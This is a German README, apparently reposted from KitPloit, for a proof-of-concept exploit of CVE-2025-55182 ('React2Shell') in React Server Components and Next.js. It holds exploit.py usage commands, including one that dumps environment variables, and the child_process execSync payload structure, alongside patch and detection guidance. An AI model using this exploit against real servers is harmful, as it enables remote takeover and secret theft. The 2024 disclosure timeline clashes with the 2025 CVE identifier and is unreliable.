CVE-2025-55182 (React2Shell) - Proof of Concept

⚠️ NUR FÜR SICHERHEITSFORSCHUNG

Dieses Repository enthält einen Proof of Concept für CVE-2025-55182, eine kritische Schwachstelle zur Remote-Code-Ausführung in React Server Components. Es ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt.

Schwachstellenübersicht

• CVE-ID: CVE-2025-55182
• Name: React2Shell
• CVSS-Score: 10.0 (KRITISCH)
• Typ: CWE-502 - Deserialisierung nicht vertrauenswürdiger Daten
• Angriffsvektor: Netzwerk (AV:N)
• Authentifizierung: Keine erforderlich (PR:N)
• Status: Aktive Ausnutzung in freier Wildbahn

Betroffene Versionen

React:

• 19.0.0
• 19.1.0, 19.1.1
• 19.2.0

Next.js:

• 15.0.0 to 15.0.4
• 15.1.0 to 15.1.8
• 15.2.0 to 15.2.5
• 16.0.0 to 16.0.6

Technische Details

Die Schwachstelle nutzt unsichere Deserialisierung im Flight-Protokoll der React Server Components aus. Wenn ein Server eine speziell präparierte Nutzlast empfängt, wird die Struktur vor der Deserialisierung nicht ordnungsgemäß validiert, sodass vom Angreifer kontrollierte Daten die serverseitige Ausführung manipulieren können.

Angriffsmechanismus

1. Gefälschte Chunk-Injektion: Der Angreifer sendet eine Flight-Nutzlast mit einem präparierten Objekt, das die interne Chunk-Struktur nachahmt
2. Promise-Handler-Übernahme: Das gefälschte Objekt enthält eine benutzerdefinierte then-Methode
3. Zustandsmanipulation: Die Deserialisierung von React versucht, den gefälschten Chunk aufzulösen, wodurch der Handler des Angreifers ausgelöst wird
4. Code-Ausführung: Auf dem Server wird beliebiger JavaScript-Code über process.mainModule.require('child_process') ausgeführt

POC-Einrichtung

Voraussetzungen

• Node.js 18+
• Python 3.x
• npm oder yarn

Installation

1. Abhängigkeiten installieren:

npm install

2. Den anfälligen Server starten:

npm run dev

Der Server startet unter http://localhost:3000

Aufbau der angreifbaren Anwendung

app/
├── page.js              # Main page with ServerForm
├── ServerForm.js        # Client component with form
├── actions.js           # Vulnerable Server Action
└── layout.js            # Root layout

Ausführen des Exploits

Grundlegende Verwendung

python3 exploit.py -t http://localhost:3000 -c "whoami"

Optionen

• -t, --target: Ziel-URL (erforderlich)
• -c, --command: Auszuführender Shell-Befehl (Standard: id)
• --check-only: Nur prüfen, ob das Ziel angreifbar erscheint

Beispiele

Prüfen, ob das Ziel anfällig ist:

python3 exploit.py -t http://localhost:3000 --check-only

Beliebige Befehle ausführen:

# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"

# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"

Struktur der Exploit-Nutzlast

Der Exploit verwendet Multipart-Formulardaten mit:

Feld "0": Schädliches JSON mit benutzerdefiniertem 'then'-Handler
Feld "1": Referenz auf Feld 0 ($@0)
Header: Next-Action: x (löst RSC-Verarbeitung aus)

Die Nutzlast manipuliert das interne _response-Objekt, um Folgendes auszuführen:

process.mainModule.require('child_process').execSync('<command>')

Abhilfemaßnahmen

Sofortmaßnahmen

1. React aktualisieren:

   root@kitploit:~

   npm install [email protected] [email protected]
   

2. Next.js aktualisieren:

   root@kitploit:~

   npm install [email protected]  # oder neueste gepatchte Version
   

Gepatchte Versionen

• React: ≥ 19.3.0
• Next.js:
  • ≥ 15.0.5
  • ≥ 15.1.9
  • ≥ 15.2.6
  • ≥ 16.0.7

Erkennung

Indikatoren für eine Kompromittierung

• Unerwartete POST-Anfragen an RSC-Endpunkte mit Next-Action-Header
• Multipart-Formulardaten-Nutzlasten mit $@-Referenzen
• Verdächtige then-Eigenschaften in Anfragekörpern
• Anomalien bei der serverseitigen Prozessausführung

Netzwerksignaturen

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@

Zeitplan

• 3. Dezember 2024: Öffentliche Offenlegung
• 5. Dezember 2024: Aktive Ausnutzung beobachtet
• 26. Dezember 2024: Frist für CISA KEV-Compliance

Referenzen

• Offizieller CVE-Eintrag
• NVD-Eintrag
• CISA KEV-Katalog
• Wiz-Sicherheitshinweis
• OffSec Technische Analyse

Haftungsausschluss

Dieser Proof of Concept wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch dieser Informationen.

NICHT:

• Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben
• Setzen Sie ihn nicht in Produktionsumgebungen ein
• Teilen Sie Exploit-Code nicht ohne angemessenen Kontext und Warnungen

Lizenz

MIT-Lizenz - Nur für Sicherheitsforschungszwecke